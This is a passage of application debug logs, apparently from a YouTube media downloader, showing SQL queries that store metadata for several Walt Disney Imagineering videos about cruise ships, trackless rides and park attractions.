Imagineering!", "a024e2d0-c43d-4a77-a222-791838cde40d", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", false, 1467, false, 4, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].mp4", false, false, 2, [], 98, ~U[2026-03-10 15:00:11Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 *Key Takeaways*\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 *Chapters*\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🤖 R&D → https://youtu.be/EoPN02bmzrE\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", 1467, false, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].mp4", false, 2, ~U[2026-03-10 15:00:11Z]] 18:57:21.132 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.133 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 22:00:01Z], 2] 18:57:21.135 [debug] QUERY OK source="media_items" db=1.4ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → https://youtu.be/IZwvg7w1_Kw\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "d20a2765-24ef-4e87-b1ae-bd606f4b37eb", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", false, 156, false, 5, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].mp4", false, false, 2, [], 98, ~U[2026-02-24 22:00:01Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → https://youtu.be/IZwvg7w1_Kw\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", 156, false, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].mp4", false, 2, ~U[2026-02-24 22:00:01Z]] 18:57:21.135 [debug] QUERY OK source="sources" db=0.1ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.136 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 22:20:46Z], 2] 18:57:21.138 [debug] QUERY OK source="media_items" db=1.4ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ *What makes this special?*\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "How Does Disney Do This - Three Stages in ONE Theater?!", "a0e01733-5e9b-4bf2-a96b-8ed4436b243e", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", false, 268, false, 6, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].mp4", false, false, 2, [], 98, ~U[2026-02-17 22:20:46Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ *What makes this special?*\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n👻 Pepper's Ghost from Haunted Mansion to Test Track → https://youtu.be/m80WI0AK0P0\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "How Does Disney Do This - Three Stages in ONE Theater?!", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", 268, false, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].mp4", false, 2, ~U[2026-02-17 22:20:46Z]] 18:57:21.138 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.139 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 22:06:48Z], 2] 18:57:21.141 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "b9760db3-a535-4f48-94b4-d841f9412686", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", false, 172, false, 7, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].mp4", false, false, 2, [], 98, ~U[2026-01-27 22:06:48Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", 172, false, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].mp4", false, 2, ~U[2026-01-27 22:06:48Z]] 18:57:21.141 [debug] QUERY OK source="sources" db=0.1ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.142 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 22:00:23Z], 2] 18:57:21.144 [debug] QUERY OK source="media_items" db=1.5ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ *What makes this special?*\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "2edec2a7-29bc-4267-bbea-de26ebe1ca27", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", false, 407, false, 8, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].mp4", false, false, 2, [], 98, ~U[2026-01-20 22:00:23Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ *What makes this special?*\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", 407, false, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].mp4", false, 2, ~U[2026-01-20 22:00:23Z]] 18:57:21.144 [debug] QUERY OK source="sources" 